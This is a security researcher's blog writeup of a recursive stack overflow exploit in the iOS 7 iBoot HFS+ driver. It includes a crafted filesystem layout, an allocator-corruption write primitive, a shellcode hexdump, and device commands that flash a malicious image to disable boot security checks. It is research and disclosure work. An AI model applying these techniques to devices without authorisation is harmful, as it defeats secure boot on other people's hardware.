---
layout: post
title: "De Rebus Antiquis"
date: 2018-05-10
categories: ios iboot

```
|=-----------------------=[ De Rebus
Antiquis ]=-----------------------=|
|
=-------------------------------------------------------------------
----=|
|=------------------------------
=[ xerub ]=-------------------------------=|
|
=-------------------------------------------------------------------
----=|

-- Table of contents

0 - Introduction
1 - Research
    1.0 - Who's who?
    1.1 - ASL pls
    1.2 - Calling my own name
    1.3 - Seeing the unseen
2 - Exploitation
    2.0 - Dodging the bullets
    2.1 - Burning the bridges
    2.2 - Going for the kill
    2.3 - Cleaning the mess
    2.4 - Leap of faith
3 - Conclusions
4 - References
5 - Source code

-- 0 - Introduction

This article aims to explain how to exploit the recursive stack
overflow
bug in the iOS 7 bootchain.  No prior exploitation knowledge is
required,
only basic knowledge of how little-endian stack-grows-downwards
machines
work and some ARM assembly basics.  There is no need for special
hardware
(cables or debugging rigs) to achieve deterministic control over the
iBoot.
We will use iPhone5,2/11B554a throughout this writeup as an example.

There were two seemingly unrelated things that led to the finding of
this
vulnerability:
```

- One was that I vaguely remembered that during the mid 2010s Toyota came
under criticism for buggy firmware leading to the Unintended Acceleration
scandal. Some of these bugs were theorised to stem from stack overflows
corrupting global variables [1].
- The other thing was Joshua Hill's "SHAttered Dreams" presentation, which,
around page 85 had this "BootROM exploitation methods" slide mentioning
"Recursive Stack Overflows" [2].

-- 1 - Research

-- 1.0 - Who's who?

A short recap about the iPhone bootchain:

```
                    NAND/Normal  +-------+     +--------+
                   ------------> | LLB  | --> | iBoot | --> OS
    +-----------+ /              +-------+     +--------+
    | SecureROM |<
    +-----------+ \              +-------+     +--------+
                   ------------> | iBSS | --> | iBEC  | --> Restore
                    USB/DFU      +-------+     +--------+
```

The SecureROM is a small piece of mask ROM or write-protected flash. It is
the first thing that runs on the device after a reset.

The LLB is the Low Level Bootloader, responsible for the hardware bringup
and loading the main bootloader.

The iBoot is the main Bootloader, effectively a kitchen-sink of all things
a bootloader should do: USB, recovery mode, etc. It also handles FS access
because it needs to read the kernel off the System partition and boot the
OS.

The iBSS is the DFU counterpart of LLB.

The iBEC is the DFU counterpart of iBoot. It handles FS access, because it
needs to read a special "restore" partition during upgrades.

Actually, the boot logic is a bit more complicated than that, for example
iBoot can fall back to Recovery Mode which will accept an iBEC, but we will
not concern ourselves with that, being outside the scope of this

article.

Because of their nature and purpose, each bootloader stage brings increased
complexity. For example: LLB/iBSS have no need to understand filesystems,
but as explained above, iBoot/iBEC must do so. Statistically, the more
complex a component is, the higher the chances it has bugs, so we will go
for the low hanging fruit :)

-- 1.1 - ASL pls

First, we need to study our target, which sounds complicated, but it really
isn't. iBoot was not meant to be relocatable, it was designed to be run at
its preferred load address; that is, memory_base + memory_size - 1MB, which
translates to: 0x5FF0'0000 or 0x9FF0'0000 or 0xBFF0'0000. This means no
IASLR (no iBoot Address space layout randomisation) which is *good* :^)

We proceed by dumping iBoot as soon as possible after iOS has fully booted
on a jailbroken phone. With a bit of luck we'll find iBoot still sitting
in its own corner, pretty much intact. For dumping purposes, we will use
winocm's ios-kexec-utils [3] henceforth named kloader and its little brotha
kdumper.

Please note that a dumped image is slightly different than a decrypted one.
Fortunately, DATA remains fairly unchanged while running, with the notable
exception of lists. We proceed by curating those list heads and doing some
more cleanup based on older iBoots such as iPhone 4 iBoot for which we have
decryption keys [4].

```
    +------------------+
    | ARM reset vector |
    |                  |
    |       CODE       |
    |                  |
    +------------------+
    |                  |
    |       DATA       |
    |                  |
```

```
    | +--------------+ |
    | |  btree data  | |
    | +--------------+ |
    | +--------------+ |
    | |  allocator   | |
    | |  meta-data   | |
    | +--------------+ |
    |                  |
    +------------------+
    |                  |
    |       HEAP       |
    | +--------------+ |
    | |task structure| |
    | |--------------| |
    | |  task stack  | |
    | +--------------+ |
    |      stuff       |
    | +--------------+ |
    | |task structure| |
    | |--------------| |
    | |  task stack  | |
    | +--------------+ |
    |      stuff       |
    |                  |
    +------------------+
```

We can observe in the above diagram that the task stacks are placed right after DATA, and we can infer that smashing one of those stacks will lead to DATA corruption. Initially, there is only one task running: the bootstrap task. Some other tasks are then created, like "idle" and "main", which in turn create more tasks: poweroff, USB, etc and runs them. Each task has a fixed stack size: 0x1C00 bytes.

There is also a simple scheduler managing those tasks, which also performs some lightweight integrity checks, like verifying the ARM reset vector base and the yielding task's stack base. The task scheduler is cooperative, so we can safely assume that once a task is running, it will continue to do so until something extraordinary happens, such as an IRQ. In short, the stack check does not affect us as long as a task_yield() does not happen while we are burning the stack.

After dumping iBoot several times we can see not only the base address, but

also that its entire memory layout is very predictable, which is certainly
good from the exploitation point of view. We can locate the code, data and
even various structures within the heap. Of course, we need to keep an eye
on those stacks, because that's what our target is, right?

-- 1.2 - Calling my own name

Keep in mind that recursive stack overflow does not necessarily mean direct
recursion, a la function F() calling itself. Those are trivial to find but
not always useful. For example ResolvePathToCatalogEntry() is bounded by a
maximum depth limit of 64 and therefore is useless for this purpose.

Let's look for F() -> G() -> ... -> F() chains as those would still count
as recursion. Although it's a bit difficult to spot those in large files,
there are graph algorithms that can help: we have a call graph and we need
to identify "loops" in this call graph. One such algorithm that is fairly
simple and useful is Tarjan's strongly connected components algorithm [5].
In reality, a SCC may contain multiple loops, but it doesn't matter; for
practical purposes, let's just assume SCCs are good enough to start with.
Once iBoot is disassembled and all the functions are correctly identified,
we can run the script [6] and print out our call graph "loops".

We are looking for pretty small SCCs, like F()->G()->F() because those are
easier to follow. Here's a good candidate:

```
    ReadExtent()
        memalign(64)
        ReadExtentsEntry()/ReadBTreeEntry()
            memalign(blockSize)
            ReadExtent()
```

The memalign() calls above do not contribute to the recursion per se, but
they will become important later on -- memalign being just a fancy malloc.
Also, keep in mind that not much *else* is happening, which is good.

A quick primer into HFS+ will make us understand better what is happening.
The information about all the files and folders inside a HFS+ [7]

volume is
kept in the Catalog File. The Catalog File is a B-tree [8] that contains
records, each record tracking a maximum of 8 extents [9] for each fork of a
file. This is called the extent density. Once all 8 extents are used up,
additional extents are recorded in the Extents Overflow File. The Extents
Overflow File is another B-tree that records the allocation blocks that are
allocated to each file as extents.

The HFS+ implementation found in iBoot uses the same ReadExtent() function
for reading both Catalog and Extents Overflow extents. We observe that if
the extent density is exceeded while reading an Extents Overflow extent,
ReadExtent() will recurse infinitely.

NB: As it happens, an outdated version of the iBoot HFS+ driver was public
at the time [10]. The source code is not essential for exploitation, but
it may be helpful in understanding some bits.

The GOOD: We found a recursive stack overflow in "main" task whose location
and stack are very predictable.
The BAD: It will burn through HEAP and hit DATA pretty quickly, and there's
no way to stop it once it's triggered.
The WORSE: The iBoot HEAP (and parts of DATA) will be completely fubared.

-- 1.3 - Seeing the unseen

Back at the time, I only had one device vulnerable to this bug and I was
wary of losing it. Trying to just poke at iBoot blindly would be stupid,
so I set up writing an "iBoot loader" henceforth named iloader (source code
attached to this article). Its purpose was to fake-run iBoot in userland,
taking advantage of the very predictable nature of iBoot's run-time memory
layout.

Since we are fake-running in userland, we have to skip the hardware stuff.
Now recall that task stacks are allocated on the heap and skipping whole

chunks of code may skip some allocs. In order to compensate for that, we
need to make sure our iloader keeps the main task stack at the right offset
with regard to iBoot's base. We kloader a modified iBoot and have it print
out the stack pointer inside "main" task's top routine:

    SP = BASE + 0x581d4

Aligning our stack then requires iloader calling into the iBoot allocator
once with the right size just before the main task is created.

```
    Real iBoot heap:          iloader iBoot heap:

    |                    |    |                    |
    +--------------------+    +--------------------+
    | heap block used by |    |                    |
    | things we skipped  |    |                    |
    +--------------------+    |                    |
    +--------------------+    |                    |
    | heap block used by |    | dummy allocation   |
    | things we skipped  |    | required to align  |
    +--------------------+    | the stack pointer  |
    +--------------------+    |                    |
    | heap block used by |    |                    |
    | things we skipped  |    |                    |
    +--------------------+    +--------------------+
    +--------------------+    +--------------------+
    | main task structure|    | main task structure|
    +--------------------+    +--------------------+
    | main task stack    |    | main task stack    |
    +--------------------+    +--------------------+
    |                    |    |                    |
```

-- 2 - Exploitation

-- 2.0 - Dodging the bullets

Before looking for ways to trigger the exploit, there are two things to
consider:

    1. What we must avoid smashing?
    2. What we should target?

To answer #1, yes there is something standing in our path. Remember those
malloc calls? mallocs use enter_critical_section()/exit_critical_section()
to guard against race conditions. Those two little functions operate on
task::irq_disable_count and they panic if larger than 999. Triggering
recursion will obliterate anything in its path, including our own "main"

task structure, task::irq_disable_count included. So we need to make sure
main_task->irq_disable_count location is overwritten with values smaller
than 1000.

To answer #2, yes there is something that could achieve an arbitrary write.
Remember those malloc calls again? Yeah, it follows that we should target
the allocator metadata. We have to put some values there and coerce the
allocator into an arbitrary write.

```
    |                  |
    +------------------+
    |                  |
    |       DATA       |
    |                  |
    | +--------------+ |
    | |btree headers | | <-+ steer the allocator here
    | +--------------+ |   |
    | +--------------+ |   |
    | |  allocator   | | --+
    | |  meta-data   | | <-+ land here
    | +--------------+ |   |
    |                  |   |
    +------------------+   |
    |                  |   |
    |       HEAP       |   |
    | +--------------+ |   |
    | |task structure| |   | <-- this gets nuked, avoid
irq_disable_count
    | |--------------| |   |
    | |  task stack  | |   | <-- this is where we start
    | +--------------+ |
    |      stuff       |
```

In order to dance around these constraints, we need to make sure we start
recursion at a very precise point. The exact location where we cross the
allocator metadata is a matter of how much stack space is eaten by each
recursion (208 bytes in our example below) and the starting SP. We need to
be close enough to manipulate the allocator, but not too close, otherwise
it will panic. We will see later that the block "bin" array is the sweet
spot to land on. SP tuning can be achieved by two methods:
    - try both ${boot-path} / ${boot-ramdisk} and choose whichever is best
      as both can be set from within iOS and are preserved across

reboots.
    - ResolvePathToCatalogEntry() drills down the directory
hierarchy and
      provides different starting SPs for ReadExtent, but remember
it has
      a 64 depth limit.

-- 2.1 - Burning the bridges

iBoot accesses the filesystem in a simple manner. It caches the two
BTree
headers when "mounting" the partition, then uses ReadExtent() for
both file
read, as well as directory scan.

Recursion can be started in two ways:
    - Set the root node to a high value, or
    - employ a long path and, after partially drilling down this
path, have
      a high node number fetched from the BTree record of the index
node.

Start with a simple HFS+ file system, which has a rather flat BTree:

```
    trigger
       |
       v
    +------+       +------------+
    |HEADER|------>| root block |
    +------+       +------------+
                   | ...        |
    +--------------+            |
    v                           v
    +-----+                     +-----+
    |     |          ...        |     |
    +-----+                     +-----+
```

The above BTree layout allows us to trigger the recursion only by
the root
node. Leaf nodes cannot be used to trigger a delayed recursion,
because
BTNodeDescriptor::kind is checked in ReadBTreeEntry() thus
preventing us to
have an arbitrary index node with a high-numbered current node.

Setup example would look like this:
    HFSPlusVolumeHeader::catalogFile.logicalSize = 0xFFFFFE00;
    HFSPlusVolumeHeader::extentsFile.logicalSize = 0x3FFC000;
Catalog BTree header:
    BTHeaderRec::nodeSize = 512;
    BTHeaderRec::totalNodes = 0x7FFFFF;
    BTHeaderRec::rootNode = 0x7FFE; // initial trigger
Extents BTree header:
    BTHeaderRec::nodeSize = 16384;

```
    BTHeaderRec::totalNodes = 0xFFF;
    BTHeaderRec::rootNode = 0x500; // must be big, but LSB must be zero
```

NB: Most of the BTree header space is not used, nor is it checked by iBoot, so we can use that space to stash our payload in there.

The above strategy, while simple, proves to be quite inflexible, because we cannot tune the starting SP too much. As mentioned before, we want to use ResolvePathToCatalogEntry() to fix the SP for us, and that means triggering the recursion at an arbitrary point during path processing. We are forced to resort to a slightly different layout: duplicate the root block, update the HFS+ header to start at the new root and have all the records inside the clone point to the original root block. This will result in a taller tree but the middle layer does not have the leaf constraint yet it is still valid HFS+ (albeit slightly wasteful).

```
                   +------------+
              +--->| root copy  |<-- trigger here
              |    +------------+
              |    | ...        |
              |    v            v
    +-------+ |    +------------+
    |HEADER|--+    | root block |
    +-------+      +------------+
                   | ...        |
    +--------------+            |
    v                           v
    +------+                    +------+
    |      |         ...        |      |
    +------+                    +------+
```

In contrast to the earlier setup, we keep the Catalog BTHeaderRec::rootNode unchanged, but we will have to set a high block number in the corresponding BTree record:

```
    PUT_DWORD_BE(block, 116, 0x10000); // see iloader source for reference
```

By some trial and error with iloader, we find out the best path we should be using is ${boot-ramdisk}="/a/b/c/d/e/f/g/h/i/j/k/l/m/disk.dmg"

-- 2.2 - Going for the kill

Once the recursion brings the stack pointer near the allocator metadata,
our goal is to have memalign() do a write-anywhere for us. memalign() has
two main loops, shown here simplified:

```
    for_each(bin) {
        block = *bin;
        while (block) {
            if (fits) {
                free_list_remove(this);
                return this;
            }
            block = block->next;
        }
    }
    panic();
```

This is the assembly listing, for reference.

```
ROM:BFF1A2D0            LDR.W       R8, =0xBFF47C60
ROM:BFF1A2D4            NEGS        R5, R4
ROM:BFF1A2D6            ADD.W       R6, R4, #0x3F
ROM:BFF1A2DA bin_loop:
ROM:BFF1A2DA            ADD.W       R0, R8, R3,LSL#2    ; pick
initial bin
ROM:BFF1A2DE            ADD.W       R2, R0, #0x28
ROM:BFF1A2E2
ROM:BFF1A2E2 block_loop:
ROM:BFF1A2E2            LDR         R0, [R2]
ROM:BFF1A2E4            CBZ         R0, bin_next        ; skip
zeroes
ROM:BFF1A2E6            LDR         R1, [R0,#4]
ROM:BFF1A2E8            ADDS        R2, R6, R0
ROM:BFF1A2EA            ANDS        R2, R5
ROM:BFF1A2EC            SUB.W       R4, R2, #0x40
ROM:BFF1A2F0            ADD.W       R2, R0, #0x40
ROM:BFF1A2F4            ADD.W       R1, R0, R1,LSL#6
ROM:BFF1A2F8            SUBS        R1, R1, R4
ROM:BFF1A2FA            BLS         block_loop
ROM:BFF1A2FC            CMP         R1, R9
ROM:BFF1A2FE            BCC         block_loop
ROM:BFF1A300            B           free_list_remove    ; R0 is
controlled
ROM:BFF1A302 ;
------------------------------------------------------------
ROM:BFF1A302 bin_next:
ROM:BFF1A302            ADDS        R3, #1
ROM:BFF1A304            CMP         R3, #0x20
ROM:BFF1A306            BCC         bin_loop
ROM:BFF1A308 heap_fail:
ROM:BFF1A308            LDR         R0, ="grab_chunk__constrained"
ROM:BFF1A30A            LDR         R1, ="heap overflow"
```

```
ROM:BFF1A30C            BL          _panic
ROM:BFF1A310 ;
------------------------------------------------------------
ROM:BFF1A310 free_list_remove:                        ; R0 is
controlled
ROM:BFF1A310            LDRD.W      R10, R11, [R0,#0x40]; must be
aligned
ROM:BFF1A314            STR.W       R10, [R11]          ; arbitrary
write
ROM:BFF1A318            LDR         R1, [R0,#0x40]
ROM:BFF1A31A            CMP         R1, #0
ROM:BFF1A31C            ITT NE
ROM:BFF1A31E            LDRNE       R3, [R0,#0x44]
ROM:BFF1A320            STRNE       R3, [R1,#0x44]      ; trash
[R10+0x44]
ROM:BFF1A322            CMP         R4, R0
ROM:BFF1A324            BNE         loc_BFF1A32A        ; avoid this
ROM:BFF1A326            MOV         R4, R0
ROM:BFF1A328            B           return_block        ; clean exit
```

free_list_remove() provides the read/writes. In order to get the write right, we need to have it do the reading from *our* payload -- which is conveniently placed inside HFS+ BTree headers. There is a pointer to BTree headers pushed by each recursion's stack frame, albeit slightly misaligned.

Ideally, we want *that* pointer be picked up as a starting bin but we can't synchronize it no matter how much SP tweaking we do. Notice the loops skip all the zeroes before doing any work, giving us some leverage though still not enough. However, the starting bin depends on the allocation size. It follows we must land here during memalign(blockSize), not memalign(64).
Turns out this is the last bit of manoeuvring room: tuning blockSize within its imposed limits of 512 and 65536. Avoid pumping the block size too high up, though: bigger block sizes will exhaust the heap during recursion so there is a practical limit to it.

After our pointer is picked, we can pretty much "drive" the allocator logic and make sure we won't panic while using the allocator "writes" to achieve a write on stack, targeting memalign's frame, and specifically the saved link register (LR) value, in order to get PC control.

A final issue is that free_list_remove() happens to use a LDRD instruction for reading, meaning the source has to be aligned at DWORD boundary. But our pointer happens to be at DWORD+2 boundary. To avoid causing a fault, we have the block loop pass as no-fit during first iteration, switch to an aligned address, then fit at second iteration. Now we finally get a write anywhere and we target the LR's location on memalign's stack frame.

We now want memalign to return quickly and with as little side-effects as possible. By carefully arranging some values in current bin's fake block, which has by now moved inside the BTree header, we can skip everything else in memalign's logic, causing a proper and quick return. This return will jump to the location of our choice. Since the whole mapping is executable, we simply return somewhere in the BTree header, where our shellcode is.

Here is the output of iloader running iPhone5,2/11B554a iBoot:

```
-8<-------------[ cut here ]------------------
relocating to 0x700000
battery voltage 0 mV
power supply type batt


=======================================
::
:: iBoot for n42ap, Copyright 2013, Apple Inc.
::
::      BUILD_TAG: 756400
::
::      BUILD_STYLE: 7581d4
::
::      USB_SERIAL_NUMBER: CPID:8950 CPRV:21 CPFM:00 SCEP:10 BDID:00 ECID:0000000000000000 IBFL:03
::
=======================================

Delaying boot for 0 seconds. Hit enter to break into the command prompt...
HFSInitPartition: 0x758600
my_readp(0x758600, 0x747730, 0x400, 512)
my_readp(0x758600, 0x747a54, 0x8800, 256)
my_readp(0x758600, 0x747b54, 0x800, 256)
breakpoint1: a
```

```
my_readp(0x758600, 0x758d80, 0x8e00, 512)
my_readp(0x758600, 0x758d80, 0x8a00, 512)
my_readp(0x758600, 0x758d80, 0x8a00, 512)
breakpoint1: b
my_readp(0x758600, 0x758d80, 0x8e00, 512)
my_readp(0x758600, 0x758d80, 0x8c00, 512)
my_readp(0x758600, 0x758d80, 0x8c00, 512)
breakpoint1: c
my_readp(0x758600, 0x758d80, 0x8e00, 512)
my_readp(0x758600, 0x758d80, 0x8c00, 512)
my_readp(0x758600, 0x758d80, 0x8c00, 512)
breakpoint1: d
my_readp(0x758600, 0x758d80, 0x8e00, 512)
my_readp(0x758600, 0x758d80, 0x9000, 512)
my_readp(0x758600, 0x758d80, 0x9000, 512)
breakpoint1: e
my_readp(0x758600, 0x758d80, 0x8e00, 512)
my_readp(0x758600, 0x758d80, 0x9000, 512)
my_readp(0x758600, 0x758d80, 0x9000, 512)
breakpoint1: f
my_readp(0x758600, 0x758d80, 0x8e00, 512)
my_readp(0x758600, 0x758d80, 0x9200, 512)
my_readp(0x758600, 0x758d80, 0x9200, 512)
breakpoint1: g
my_readp(0x758600, 0x758d80, 0x8e00, 512)
my_readp(0x758600, 0x758d80, 0x9200, 512)
my_readp(0x758600, 0x758d80, 0x9200, 512)
breakpoint1: h
my_readp(0x758600, 0x758d80, 0x8e00, 512)
my_readp(0x758600, 0x758d80, 0x9400, 512)
my_readp(0x758600, 0x758d80, 0x9400, 512)
breakpoint1: i
my_readp(0x758600, 0x758d80, 0x8e00, 512)
my_readp(0x758600, 0x758d80, 0x9400, 512)
my_readp(0x758600, 0x758d80, 0x9400, 512)
breakpoint1: j
my_readp(0x758600, 0x758d80, 0x8e00, 512)
my_readp(0x758600, 0x758d80, 0x9600, 512)
my_readp(0x758600, 0x758d80, 0x9600, 512)
breakpoint1: k
my_readp(0x758600, 0x758d80, 0x8e00, 512)
my_readp(0x758600, 0x758d80, 0x9600, 512)
my_readp(0x758600, 0x758d80, 0x9600, 512)
breakpoint1: l
my_readp(0x758600, 0x758d80, 0x8e00, 512)
my_readp(0x758600, 0x758d80, 0x9800, 512)
my_readp(0x758600, 0x758d80, 0x9800, 512)
breakpoint1: m
my_readp(0x758600, 0x758d80, 0x8e00, 512)
my_readp(0x758600, 0x758d80, 0x9a00, 512)
_memalign: sp = 0x747ca8, r8 = 0x747c60, r3 = 0x9, r2 => 0x747cac
(0xfffffffc)
_memalign: sp = 0x747ca8, r0 = 0x747b62, r1 = 0x5
(0x747ca2/0xbff47ca2), r2 = 0x747ba8, r3 = 0xc, r4 =>
```

```
(0x747b68/0xbff47b68), r9 = 0x4040 (0x13a)
_memalign: sp = 0x747ca8, r0 = 0x747b68, r1 = 0x101
(0x74bba8/0xbff4bba8), r2 = 0x747ba8, r3 = 0xc, r4 =>
(0x747b68/0xbff47b68), r9 = 0x4040 (0x4040)
_memalign: sp = 0x747ca8, r8 = 0x747c60
suck sid
battery voltage 0 mV
power supply type batt


=======================================
::
:: iBoot for n42ap, Copyright 2013, Apple Inc.
::
::      BUILD_TAG: 756400
::
::      BUILD_STYLE: 7581d4
::
::      USB_SERIAL_NUMBER: CPID:8950 CPRV:21 CPFM:00 SCEP:10 BDID:
00 ECID:0000000000000000 IBFL:03
::
=======================================

r0  = 0x0074817c r1  = 0x3f106000 r2  = 0x007490c0 r3  = 0x00000000
r4  = 0x00758138 r5  = 0x00000000 r6  = 0x007446c0 r7  = 0x00758130
r8  = 0x00000001 r9  = 0x0074436c r10 = 0x0074437c r11 = 0x00000000
r12 = 0x00000000 sp  = 0x0075812c lr  = 0x0072859b pc  = 0x0071f9e2
cpsr = 0x60000030
handler(11, {11, 0x3f106000}, 0x757fb8)

-8<-------------[ cut here ]-----------------
```

From the ASM listing corroborated with with iloader's output, we know what
happens when PC reached address 0xBFF1A2F8.

```
First iteration:
    R0 = 0xbff47b62
    R1 = 0xbff47ca2 = 0xbff47b62 + (5 << 6)
    R4 = 0xbff47b68 = 0xbff47ba8 - 0x40
    R9 = 0x4040
    R1 = R4 + 0x13a (no fit)
Second iteration:
    R0 = 0xbff47b68
    R1 = 0xbff4bba2 = 0xbff4bb68 + (0x101 << 6)
    R4 = 0xbff47b68 = 0xbff47ba8 - 0x40
    R9 = 0x4040
    R1 = R4 + 0x4040 (exact fit, also R4 == R0)
```

And this is the memory layout after crossing the allocator's event horizon.
Big-endian multi-byte quantities are shown between [] and little-endian are
shown between {}.

```
                    +- start of BTree headers (controlled)
                    v
00047A50: 62 7B 74 00 (45 45 45 45  45 45 45 45  45 45 45 45
                +- BTHeaderRec::treeDepth
                |      +- BTHeaderRec::rootNode
                v      v
00047A60: 45 45[00 03][00 00 00 03] 45 45 45 45  45 45 45 45
                       +- BTHeaderRec::nodeSize
                       |            +- BTHeaderRec::totalNodes
                       v            v
00047A70: 45 45 45 45 [02 00]45 45 [00 7F FF FF] FF E4 30 9F
00047A80: E5 00 20 E0  E3 DF AC 22  83 E5 CC F7  F0 80 23 F7
00047A90: 83 E5 84 FF  F0 74 25 83  E5 77 60 26  83 F1 F0 A0
00047AA0: E3 C8 F7 F0  55 D0 F7 F0  D4 F7 F0 E0  F7 F0 E4 F7
00047AB0: F0 55 EC F7  F0 F4 F7 F0  FC F7 F0 00  FF F0 55 04
00047AC0: FF F0 08 FF  F0 0C FF F0  10 FF F0 B5  14 FF F0 18
00047AD0: FF F0 88 20  F0 F0 00 FF  A0 E3 04 00  A2 E5 80 10
00047AE0: FF 9F E5 01  00 52 E1 FA  FF F7 FF 1A  01 0F 00 0C
00047AF0: 22 C3 E5 55  30 FF F0 02  0F 00 D4 FF  F0 64 4F 00
00047B00: F5 34 FF F0  38 7F 01 20  82 E2 6C 52  FF F0 70 37
00047B10: 01 87 00 74  FF F0 78 FF  F0 F5 4C 87  00 A0 3F 01
00047B20: 20 42 E2 B0  AA FF F0 B4  8F 04 B8 FF  F0 BC FF F0
00047B30: 8F FF 2F 82  E2 B0 01 C3  E5 C0 AA C3  00 D4 C3 00
00047B40: F4 07 00 F8  07 00 1E FF  FF 2F E1 00  40 74 00 D8
00047B50: FF 43 74 00  30 45 74 00  34 00 DF 00  46 46 46 46
                       ^
 end of Catalog BTree -+- start of Extents BTree header

+--------------------------------------------------------+
                |      +- BTHeaderRec::rootNode as big value, but
gives |
                |      |  32bit 0x0 when combined with previous 2
bytes |
                |      |  and 32bit 0x5 when combined with next 2
bytes |
                |      |            +--------------------------------
+   |
                |      |            |      (nodeSize+64)>>6
|   |
                v      v            v            v
|   |
00047B60: 46 46{00 00 [00 00-05 00] 00 00}46 46 {01 01 00 00}
|   |
                       +- BTHeaderRec::nodeSize
|   |
                       |            +- BTHeaderRec::totalNodes
|   |
                       v            v
|   |
00047B70: 46 46 46 46 [40 00]46 46 [00 00 0F FF] 46 46 46 46
|   |
00047B80: 46 46 46 46  46 46 46 46  46 46 46 46  46 46 46 46
|   |
00047B90: 46 46 46 46  46 46 46 46  46 46 46 46  46 46 46 46
```

```
|   |
                                    +- R0 at block match -------+
|   |
                                    |   LR on stack (0x47cc4)   |
|   |
                                    v             v             |
|   |
00047BA0: 46 46{68 7B  74 00}46 46 {B1 7B 74 00}{C4 7C 74 00}   |
|   |
                ^                                               |
|   |
                +- contains aligned pointer (0x47b68) ----------|---
+   |
          +- shellcode -----------------------------------------+
|
          v                                                     |
|
00047BB0: DF F8 50 D0  ED F7 3A F8  13 4C 14 48  21 46 14 4A    |
|
00047BC0: EC F7 0A EB  4F F4 10 51  A4 F8 54 1E  11 48 4F F0    |
|
00047BD0: 00 41 21 50  10 48 11 49  21 50 D9 F7  43 FA 00 21    |
|
00047BE0: 41 64 0F 48  FC 21 0F 4A  E0 23 05 46  DD F7 F8 FD    |
|
00047BF0: 0D 48 02 E0 <46 C4 7C 74  00>46 80 47  DA F7 F6 FD    |
|
                       ^             ^                          |
|
                       +- forbidden -+--------------------------+
|
00047C00: A8 47 20 47  00 80 7F 00  00 00 70 00  00 00 70 00
|
00047C10: C0 46 04 00  88 1E 04 00  14 AD 01 00  00 20 18 60
|
00047C20: 00 80 74 00  7C 7A 74 00  B5 73 0F 00  46 46 46 46
|
00047C30: 46 46 46 46  46 46 46 46  46 46 46 46  46 46 46 46
|
00047C40: 46 46 46 46  46 46 46 46  46 46 46 46  46 46 46 46
|
00047C50: 46 46 46 46) 00 64 75 00  00 00 00 00  00 00 00 00
|
                    ^
|
                    +- end of BTree headers (controlled)
|
00047C60: 80 F5 B9 12  02 00 00 00  40 35 75 00  C0 3A 0A 00
|
00047C70: 00 00 00 01  00 00 00 13  00 00 00 00  00 00 00 00
|
                         first bin -+
|
                                    v
```

```
|
00047C80: 00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00
|
00047C90: 00 00 00 00  00 00 00 00  00 00 00 00  68 7B 74 00
|
                             stack -+            +- bin for size=16k
|
                                    v            v
|
00047CA0: C0 7C 74 00  F9 A3 71 00  68 7D 74 00 {00 00 00 00}
|
00047CB0: 00 00 00 00  00 00 00 00 {62 7B 74 00} 00 05 00 00
|
                                    ^
|
              first non-zero "bin" -+- points into BTree header
(0x47b62)
  LR address on stack -+
                       v
00047CC0: 28 7D 74 00 {B1 7B 74 00} 00 00 00 00  00 00 00 00
00047CD0: 00 00 00 00  00 00 00 00  80 1C 46 01  00 00 00 00
00047CE0: 00 00 00 00  03 00 00 00  00 78 74 00  00 C0 FF 03
00047CF0: 00 00 00 00  01 00 00 00  00 40 00 00  00 00 00 00
00047D00: 10 7D 74 00  40 1C 46 01  28 7D 74 00  0B A4 71 00
00047D10: 80 1C 46 01  40 00 00 00  00 00 00 00  00 00 00 00
00047D20: 08 00 00 00  40 78 74 00  90 7D 74 00  81 92 71 00
00047D30: 00 00 00 00  00 00 00 00  00 00 00 00  00 40 40 01
00047D40: 00 78 74 00  00 00 00 00  00 00 00 00  00 00 00 00
00047D50: 00 DC 45 01  00 00 40 01  00 00 00 00  03 00 00 00
00047D60: 01 00 00 00  00 A0 00 00  00 00 00 00  03 00 00 00
00047D70: 40 00 00 00  44 52 41 47  38 7E 74 00  00 00 00 00
                       ^
                       +- some stack cookie lol
```

-- 2.3 - Cleaning the mess

Now that we control PC, the last question is how to fix everything up. The iBoot heap is completely and utterly obliterated, entire tasks overwritten with garbage. However, DATA survived mostly unscathed, except the higher end, where the allocator structures reside. Either way, the best course of action would be to patch relevant security checks in-memory, curate DATA structures -- just like we did with the dump -- and fully restart iBoot as it will reinitialise BSS and HEAP.

In order to clean up DATA, we stash a small piece of code into the BTree headers whose purpose is to perform the cleanup, aptly named "nettoyeur".

To save space, we actually have a *compressed* nettoyeur, because iBoot
provides a lzss decompression routine anyway.

In summary, sequence goes like this:
    . trigger exploit
    . control PC
    . move back SP
    . disable interrupts
    . apply desired patches, disable auto-boot etc.
    . uncompress nettoyeur
    . quiesce the hardware
    . run nettoyeur
    . jump back to iBoot start point and let it re-run
We end up sitting in the iBoot console, with all security checks disabled
and the GID AES key [11] still enabled.

-- 2.4 - Leap of faith

Everything so far can be tried and tested inside iloader running on an ARM
CPU. You will see the success message "suck sid", then iBoot restarting
and then finally crashing in Recovery Mode because that's something iloader
doesn't support.

A final non-destructive test can be carried out before going for the real
thing:
    . cp ramdiskF.dmg /
    . find ramdisk.dmg inside System partition by grepping /dev/rdisk0s1s1
      for FAKEFAKEFAKEFAKE pattern and subtracting 0x13800 from the offset
    . take the dumped and curated iBoot image and patch ReadP() function to
      account for that offset
    . kloader this iBoot. If all OK, it should restart nicely

Once every little detail has been dealt with, we move to attack the real
bootchain. Remember, the device must be jailbroken, which was already a
prerequisite for dumping. It also must run the *exact* version of iBoot we
were targeting.

In the examples below, ${boot-ramdisk} is fine-tuned for iPhone5,2/11B554a.

Assuming there are no public keys for iBEC, we have only one shot:
    . have the jailbreak untether leave System partition read-only

```
    . reboot
    . ssh into the device
    . nvram boot-ramdisk="/a/b/c/d/e/f/g/h/i/j/k/l/m/disk.dmg"
    . dd if=/dev/rdisk0s1s1 of=backup bs=512k count=1
    . dd of=/dev/rdisk0s1s1 if=ramdiskF.dmg bs=512k count=1
    . reboot
    . pray

Once we obtain the iBEC decryption keys, there is a much safer way:
    . have the jailbreak untether leave System partition read-only
    . reboot
    . dd if=/dev/rdisk0s1s1 of=backup bs=512k count=1
    . use kextloader to run a decrypted and pwned iBEC
    . once in iBEC, upload dtre/rdsk/krnl and bootx
    . ssh into the ramdisk
    . nvram boot-ramdisk="/a/b/c/d/e/f/g/h/i/j/k/l/m/disk.dmg"
    . dd of=/dev/rdisk0s1s1 if=ramdiskF.dmg bs=512k count=1
    . reboot

When the device is rebooted, you will notice the boot logo flickers
(that's
when the exploit restarts iBoot) then dropping into recovery
console.  We
can now connect to it with irecovery [12]:
    irecovery -s

In order to get out of this mode, we need to follow these steps:
    . in the pwned Recovery, upload a pwned iBEC and jump to it
    . once in iBEC, upload dtre/rdsk/krnl and bootx
    . ssh into the ramdisk
    . dd of=/dev/rdisk0s1s1 if=backup bs=512k count=1
